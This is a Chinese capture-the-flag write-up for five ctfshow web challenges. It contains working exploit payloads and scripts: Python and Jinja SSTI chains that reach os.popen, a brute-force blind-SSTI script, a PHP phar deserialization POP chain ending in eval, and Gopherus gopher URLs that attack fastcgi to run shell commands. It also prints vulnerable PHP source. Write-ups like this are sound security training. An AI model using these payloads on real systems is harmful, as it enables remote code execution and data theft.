ctfshow1024杯

1024_WEB签到

1
2
3
4
5
<?php

error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

一个函数调用,这里先看phpinfo

1
?f=phpinfo

发现在ctfshow处有自定义函数,直接调用即可得到flag

1
?f=ctfshow_1024

1024_fastapi

发包没有反应

1
2
3
[09:14:47] 200 -  974B  - /docs                                             
[09:14:55] 200 -    1KB - /openapi.json                                     
[09:14:59] 200 -  767B  - /redoc 

然后看到json了,把格式整理一下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
{
  "openapi": "3.0.2",
  "info": {
    "title": "FastAPI",
    "version": "0.1.0"
  },
  "paths": {
    "/": {
      "get": {
        "summary": "Hello",
        "operationId": "hello__get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        }
      }
    },
    "/cccalccc": {
      "post": {
        "summary": "Calc",
        "description": "安全的计算器",
        "operationId": "calc_cccalccc_post",
        "requestBody": {
          "content": {
            "application/x-www-form-urlencoded": {
              "schema": {
                "$ref": "#/components/schemas/Body_calc_cccalccc_post"
              }
            }
          },
          "required": true
        },
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    }
  },
  "components": {
    "schemas": {
      "Body_calc_cccalccc_post": {
        "title": "Body_calc_cccalccc_post",
        "required": ["q"],
        "type": "object",
        "properties": {
          "q": {
            "title": "Q",
            "type": "string"
          }
        }
      },
      "HTTPValidationError": {
        "title": "HTTPValidationError",
        "type": "object",
        "properties": {
          "detail": {
            "title": "Detail",
            "type": "array",
            "items": {
              "$ref": "#/components/schemas/ValidationError"
            }
          }
        }
      },
      "ValidationError": {
        "title": "ValidationError",
        "required": ["loc", "msg", "type"],
        "type": "object",
        "properties": {
          "loc": {
            "title": "Location",
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "msg": {
            "title": "Message",
            "type": "string"
          },
          "type": {
            "title": "Error Type",
            "type": "string"
          }
        }
      }
    }
  }
}

一眼就看得出来哪里是路由和参数/cccalccc,不过好像也有个UI但是我觉得不好使,然后慢慢测试发现是使用没有大括号的ssti,那么就好办了,慢慢看就行

1
2
''.__class__.__base__
''.__class__.__base__.__subclasses__()	

但是一直都在报500错误,后面知道原来可能之因为回显是字节无法正常处理,用str函数给包裹一下就可以了

1
str(''.__class__.__base__.__subclasses__())

然后找os._wrap_close发现是存在的当时就是不好确定位置,可以写个脚本来确定位置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests

url = 'http://b37938c8-6c81-4468-b48b-f18c7d94516d.challenge.ctf.show/cccalccc'

for i in range(200):
	data = {'q':'str(''.__class__.__base__.__subclasses__()[%d])'%i}
	r = requests.post(url,data=data)
	if 'os._wrap_close' in r.text:
		print('i =',i,'\t',r.text)
		break
1
2
3
str(''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('ls /').read())

str(''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__imp''ort__']('o''s').__dict__['pop''en']('ls').read())

说实话还是挺讲究细节的,然后先看start.sh还有main.py

1
2
3
4
5
6
7
8
str(''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__imp''ort__']('o''s').__dict__['pop''en']('cat main.py').read())

flag is in /mnt/f1a9

str(''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__imp''ort__']('o''s').__dict__['pop''en']('cat start.sh').read())
没啥用

str(''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__imp''ort__']('o''s').__dict__['pop''en']('cat /mnt/f1a9').read())

1024_柏拉图

看着像是一个ssrf漏洞,但是需要些许绕过好像,双写成功绕过

1
filefile://:///var/www/html/index.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*index.php*/
<?php
error_reporting(0);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
		{
			die('难道我不知道你在想什么?除非绕过我?!');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>

看到禁用的协议好像就不是那么好ssrf了,但是phar协议什么的还行,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/*upload.php*/
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢,我喜欢一个gif的文件";
    }
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
/*readfile.php*/
<?php
error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧?!");
        }
        echo readfile($file);
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
/*unlink.php*/
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失败!";
      }
}else{
    echo '要删除的文件不存在!';
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*class.php*/
<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>

已经确诊是phar反序列化了,首先readfile.php有文件读取,其次就是一个phar协议文件头的绕过,使用compress.zlib://compress.bzip2:// 函数而上传的地方必须为GIF这里写个GIF头即可,pop链子比较简单

1
A::__destruct->B::__toString->C::__invoke
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class A {
    public $a;
}
class B {
    public $b;
}
class C{
    public $c;
}
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();     //开缓冲
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$o=new A();
$o->a=new B();
$o->a->b=new C();
$o->a->b->c="phpinfo();";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");  // 写入test.txt
$phar->stopBuffering();      //关缓冲
?>

然后拿到路径upload/phar.gif,进行触发compress.zlib://phar://upload/phar.gif就可以了

1024_hello_world

基本正常的ssti手法都是没有回显的,学习到了新姿势,使用if语句进行回显,还要使用十六进制进行关键词的绕过

1
2
3
4
key={%if ""["\x5f\x5fclass\x5f\x5f"]!=1%}air{%endif%}	
# 正常,回显为sir
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()!=1%}air{%endif%}	
# 正常,回显为sir

然后类似的手法拿到可利用的类,这里爆破一下

1
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[xxxxxxxxxxxxxxxx]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")!=1%}air{%endif%}

本来想用bp的但是没带屏幕字就太小了,不好锁定,然后就只能写脚本了,结果脚本还没写太好,应该写两个\的结果就写了一个一直改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests

url = "http://46539570-f5bc-42e5-8381-e170854acb6c.challenge.ctf.show/"

for i in range(1,200):
    payload = (
        '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['
        + str(i)
        + ']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}air{%endif%}'
    )

    data = {"key": payload}
    r = requests.post(url, data)
    # print(data)
    if "air" in r.text:
        # print(r.text)
        print(i)

64就可以用了,那么我们写脚本进行盲注即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string


strings = string.digits+string.ascii_lowercase+'-_{}'
url = "http://46539570-f5bc-42e5-8381-e170854acb6c.challenge.ctf.show/"
# poc="ls /"
poc="cat /*f*"
target=""
for i in range(0,50):
    for s in strings:
        payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["po"+"pen"]("'+ poc +'")["read"]()['+ str(i) +']=="'+ s +'"%}air{%endif%}'
        data = {"key": payload}
        r = requests.post(url, data)
        # print(data)
        if "air" in r.text:
            print(r.text)
            print(s+str(i))
            target+=s
        # else:
        #     print(r.text)

print(target)

这脚本是真不好写啊

1024_图片代理

找不到什么方向,但是看到是nginx,可以先看看配置文件,base64传入

1
2
file:///etc/nginx/conf.d/default.conf
ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg==
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
server {
    listen 80 default_server;
	listen [::]:80 default_server;
    root         /var/www/bushihtml;
    index        index.php index.html;

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    location / {
        try_files $uri  $uri/ /index.php?$args;
    }

    location ~ \.php$ {
        try_files $uri =404;
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        include        fastcgi_params;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    }

    location = /404.html {
		internal;
	}

}

有fastcgi,直接用Gopherus打就可以了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
baozongwi@ubuntu:~/Desktop/CTFtools/Gopherus-master$ gopherus --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

		author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  index.php
Terminal command to run:  ls /

Your gopher link is ready to do SSRF: 

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

然后回显是文件不存在,那么我们还要找一下文件才行,但是不知道怎么找,回去查看配置文件发现目录为/var/www/bushihtml并且存在index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
baozongwi@ubuntu:~/Desktop/CTFtools/Gopherus-master$ gopherus --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

		author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/bushihtml/index.php
Terminal command to run:  ls /

Your gopher link is ready to do SSRF: 

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

就拿到flag了,然后尝试写木马发现没成功